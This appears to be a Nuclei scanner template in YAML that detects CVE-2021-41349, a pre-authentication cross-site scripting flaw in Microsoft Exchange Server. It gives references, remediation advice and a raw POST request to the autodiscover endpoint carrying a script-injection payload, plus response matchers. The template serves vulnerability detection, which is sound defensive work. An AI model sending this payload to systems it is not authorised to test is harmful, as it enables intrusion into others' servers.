59 lines
2.0 KiB
YAML
59 lines
2.0 KiB
YAML
id: CVE-2021-41349
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info:
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name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
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author: rootxharsh,iamnoooob
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severity: medium
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description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
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remediation: |
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Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
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reference:
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- https://www.microsoft.com/en-us/download/details.aspx?id=103643
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- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41349
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-41349
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epss-score: 0.84442
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epss-percentile: 0.9817
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: microsoft
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product: exchange_server
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tags: cve,cve2021,xss,microsoft,exchange
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http:
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- raw:
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- |
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POST /autodiscover/autodiscover.json HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain);'
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- 'a=""'
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condition: and
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- type: word
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part: header
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words:
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- 'text/html'
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- type: word
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negative: true
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words:
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- "A potentially dangerous Request.Form value was detected from the client"
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- type: status
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status:
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- 500
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# digest: 4a0a00473045022100afc0b85742081436619c7778c5553df0770082870f44b9a66b91ee9d5775aada02200a703b61df9ebbee90b63d93c39c59e9b8f2141b381c2735c19a1afaca028e49:922c64590222798bb761d5b6d8e72950 |